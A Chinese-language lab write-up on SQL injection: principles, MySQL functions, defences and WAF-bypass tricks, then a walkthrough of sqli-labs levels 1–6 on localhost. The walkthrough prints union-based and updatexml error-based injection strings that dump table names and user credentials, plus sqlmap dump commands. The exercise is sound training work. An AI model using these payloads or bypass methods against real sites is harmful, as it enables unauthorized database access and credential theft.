一、总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
1、SQL注入原理
SQL注入是一种常见的网络攻击手段,攻击者通过向web应用程序的输入字段中插入恶意的SQL代码,使得后台数据库执行未经授权的查询或操作。
其基本原理是应用程序对用户输入没有进行充分的过滤和校验,导致用户输入的数据被直接拼接到SQL查询中,这些命令没有进行适当的验证或者转义会被数据库服务器直接执行,从而影响数据库的正常操作。
2、SQL注入常用函数及含义
MySQL常用函数:
(1)union:用于合并两个 SELECT 语句的结果,用于获取多个表的数据。
举例union select username, password from users.
(2)concat():用于连接字符串。
举例concat(username, ':', password).
(3)sleep():用于延迟查询响应,常用于时间盲注。
举例sleep(5)延迟5秒。
(4)database():返回当前数据库名称。
(5)user():返回当前数据库用户。
(6)group_concat(table_name):聚合函数,让数据库将指定列(column_name)的所有值连接起来。
(7)updatexml():这是MYSQL对XML文档数据进行查询和修改的XPATH函数。
举例:UPDATEXML(xmlL_document,XPaths ting new_value).
第一个参数:xml_document,文档名称。
第二个参数:XPathstring(Xpath格式的字符串),做内容定位。
第三个参数:new_value,String格式,替换查找到的符合条件的值。
3、SQL注入防御手段
(1)输入验证和过滤:
严格过滤用户输入,禁止或限制特殊字符,如 '、--、; 等。
举例:使用正则表达式验证输入内容是否合法。
(2)参数化查询:
使用参数化查询将用户输入与SQL查询分离。
举例:select * from users where username = ? and password = ?
这种方式可以避免用户输入直接嵌入到SQL查询中,从而防止注入。
(3)存储过程:
使用数据库的存储过程来执行固定的数据库操作,不允许动态生成SQL语句。
(4)最小权限原则:
确保数据库账户有最小的权限,只允许执行特定操作。
举例:Web应用的数据库用户不应有DROP TABLE、ALTER权限。
(5)WAF(Web应用防火墙):
配置WAF来检测并阻止SQL注入攻击。
4、SQL注入常用绕过waf的方法
(1)编码绕过:
使用url编码、Unicode编码、双编码等方式使注入语句变形,绕过简单的模式匹配。
举例:将'编码为 %27 或使用 %u0027。
(2)大小写混合:
将SQL关键字的大小写混合。
举例:将 union SELECT 改为unionsElEcT。
(3)插入注释:
使用SQL注释符号(如/**/或--)在关键词之间插入无害内容。
(4)空白字符替换:
使用其他符号或字符代替空格,例如换行符(\n)、制表符(\t)等。
(5)字符串拼接:
将字符串分成多部分再拼接起来,例如select 'admin'改写select 'ad'+'min'。
(6)基于时间的盲注:
通过时间盲注(SLEEP()函数)来判断注入是否成功。
二、sqli-labs通关前5关
windows环境下搭建Sqli-Labs靶场
1、前往https://github.com/Audi-1/sqli-labs下载sqli-labs-master.zip并解压到PHP study pro的www目录下。
2、在phpstudy的软件管理中下载如图所示的软件并应用
3、修改mysql的密码并在如图所示的目录下保存已修改的password
4、打开localhost/sqli-labs-master/,点击Setup/reset Database for labs来创建数据库、创建表和填充数据。
(我打开网站时发现404 not found,将windows上的防火墙关闭后成功进入靶场)
Less1
(1)测试 SQL 注入的存在
根据关卡名与加单引号判断闭合判断为字符型注入
?id=1’ --+:
(2)确定返回结果集的列数
?id=1'order by 3--+:使用order by子句来排序结果,通过指定列数3来测试。若列数少于3,数据库将返回错误。后续可逐步增加列数,确定查询中的列数。
(3)继续测试列数
?id=1'order by 4--+:与上一步相同,继续增加列数为 4,出现错误,说明查询结果只有3列。
(4)验证union注入点,并检查注入列的有效性
?id=-1'union select 1,2,3 --+:使用union操作符将两个查询的结果合并。在这里,我们将数字 1、2、3 作为虚拟数据返回,以查看哪些列在页面上输出。页面上显示了这些数字,则说明相应的列是可注入的。
观察得到的结果,发现我们成功地利用了union查询注入了数据,用来显示登录名和密码的地方分别显示了我们通过 SQL 注入的值2与3。
(5)获取当前数据库的名称
?id=-1'union select 1,2,database()--+:用union查询获取当前数据库名称,并将其插入第三个返回列。而database()是用于返回当前数据库的名称的函数。结果显示注入的第二列值2依然被显示在登录名的位置上,而数据库的名字为security。
(6)获取security数据库的所有表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+:从information_schema.tables中获取表名,该表包含所有数据库中的表信息。用table_schema='security'限定只获取security的数据库中的表。用group_concat(table_name)函数将所有表名合并成一个字符串,方便输出。
结果得到security的数据库中的表。
(7)获取users表的所有列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'%20 and table_name='users'%20 --+:从information_schema.columns中获取security数据库中users表的列名,再用group_concat(column_name)将所有列名合并成一个字符串。
(8)获取users表中所有记录的id、username和password
?id=-1' union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users --+:用group_concat(id,0x7e,username,0x7e,password)将id、username和password合并为一个字符串,此处用~符号作为分隔符。
Less2
与less1的区别只是less2为整数型注入,查询语句不使用单引号包裹参数,即少一个’,其余步骤与less1一致。
(1)测试 SQL 注入的存在
?id=1 --+
(2)确定返回结果集的列数。
?id=1 order by 3--+
(3)继续测试列数。
?id=1 order by 4--+
(4)验证 union 注入点,并检查注入列的有效性
?id=-1 union select 1,2,3 --+
(5)获取当前数据库的名称
?id=-1 union select 1,2,database()--+
(6)获取security数据库的所有表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
(7)获取users表的所有列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'%20 and table_name='users' --+
(8)获取users表中所有记录的id、username和password
?id=-1 union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users --+
Less3
通过加单引号判断闭合以及根据网站名,发现与less1相比,此节的参数用’)包裹,这通常用于更复杂的SQL查询结构,特别是在查询中使用了括号来包裹条件时,这使得注入点更加灵活。
使用输入的命令也只是多了),其余输入与步骤与less1一致。
(1)测试 SQL 注入的存在
?id=1')--+
(2)确定返回结果集的列数
?id=1')order by 3--+
(3)继续测试列数
?id=1’) order by 4--+
(4)验证 union 注入点,并检查注入列的有效性
?id=-1')union select 1,2,3 --+
(5)获取当前数据库的名称
?id=-1')union select 1,2,database()--+
(6)获取security数据库的所有表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
(7)获取users表的所有列名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
(8)获取users表中所有记录的id、username和password
?id=-1') union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users --+
Less4
通过加单引号判断闭合以及根据网站名,发现与less1相比,此节的参数用”包裹,这通常用于包裹列名或字符串类型的字段,也可能是为了配合查询结构中的其他特定情况。
(1)测试 SQL 注入的存在
?id=1")--+
(2)确定返回结果集的列数
?id=1”)order by 3--+
(3)继续测试列数
?id=1”) order by 4--+
(4)获取当前数据库的名称
?id=-1”)union select 1,2,database()--+
(5)获取security数据库的所有表名
?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
(6)获取users表的所有列名
?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
(7)获取users表中所有记录的id、username和password
?id=-1”) union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users --+
Less5
(1)通过加单引号判断闭合以及根据关卡名得出此节闭合方式为单引号闭合
?id=1’--+
(2)使用报错函数updatexml进行测试
?id=1' and updatexml(1,1,1) --+:提供无效参数(用1占位)让数据库报错,从错误信息中推测数据库的反响,确认是否存在漏洞。
(3)用连接字符串的函数concat()连接1作为参数之一再传递给updatexml函数继续引导数据库报错。(只能修改第二个参数)
?id=1' and updatexml(1,concat(1,1),1) --+:进一步验证数据库的反响,确保我们可以通过updatexml函数提取有用信息。
(4)用子查询select database()获取当前数据库的名称,并通过updatexml函数将其输出在错误信息中。(只能修改第二个参数)
?id=1' and updatexml(1,concat(1,(select database())),1) --+
观察结果我们得到数据库的名字:security。
(5)从information_schema.tables表中提取所有表名,并通过updatexml函数将其显示在错误信息中。(只能修改第二个参数)
?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1)--+
因为返回的结果只有一个表名,我们只会看到错误信息中泄露的第一个表名。
(6)通过聚和函数group_concat函数将security数据库下的所有表名拼接成一个字符串,并通过错误信息输出。(只能修改第二个参数)
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
结果如图所示,显示库中所有表名。
(7)提取users表中的所有列名并显示。
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
(8)从users表中提取username和password字段并显示。
?id=1' and updatexml(1,concat(1,(select group_concat(username,password)from users)),1)--+
三、总结SQLi的手工注入的步骤
根据通关sqli-labs靶场前六关所总结的
1、利用错误消息确认漏洞:使用基本的单引号闭合和注释符尝试破坏原始SQL 语句结构。
2、利用错误消息确认漏洞:使用updatexml或其他错误生成函数,引导数据库服务报错获取数据库的错误信息。
3、验证字符串连接与注入有效性:使用concat函数连接字符串,制造更具体的错误信息。
4、提取当前数据库名称。
5、提取数据库中的表名。
6、提取特定表中的列名。
7、获取表中的实际数据,如用户名和密码。
四、使用sqlmap通过第六关
环境安装
在https://github.com/sqlmapproject/sqlmap下载sqlmap压缩包并解压(sqlmap的使用需要安装python),在sqlmap-master文件下打开终端,输入python sqlmap.py --version查看sqlmap版本出现结果则成功。
sqlmap常用参数
-u参数:指定URL。
--dbs参数:让sqlmap枚举数据库列表。
--batch参数:批处理模式,自动选择默认选项。
-D参数:指定数据库名。
--tables参数:枚举指定数据库中的所有表。
-T参数:指定表名。
--columns参数:列出该表中的所有列。
-C参数:指定列名。
--dump参数:导出指定列中的数据。
Less6
1、输入id=1参数,这是潜在的sql注入点
在sqlmap-master文件下打开终端,运行python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1" --dbs --batch(-u参数:指定URL。--dbs参数:让sqlmap枚举数据库列表。--batch参数)
运行命令的结果可得到数据库名称为security。
3、获取security数据库表名
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-6/?id=1” -D security --tables --batch(-D参数:指定数据库名。--tables参数:枚举指定数据库中的所有表。)
4、获取users表中的数据
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-6/?id=1” -D sqli-labs -T users --columns(-T参数:指定表名。--columns参数:列出该表中的所有列。)
5、获取username 和 password的数据
python sqlmap.py -u “http://localhost:/sqli-labs-master/Less-6/?id=1” -D security -T users -C username,password -dump --batch(-C参数:指定列名。--dump参数:导出指定列中的数据。)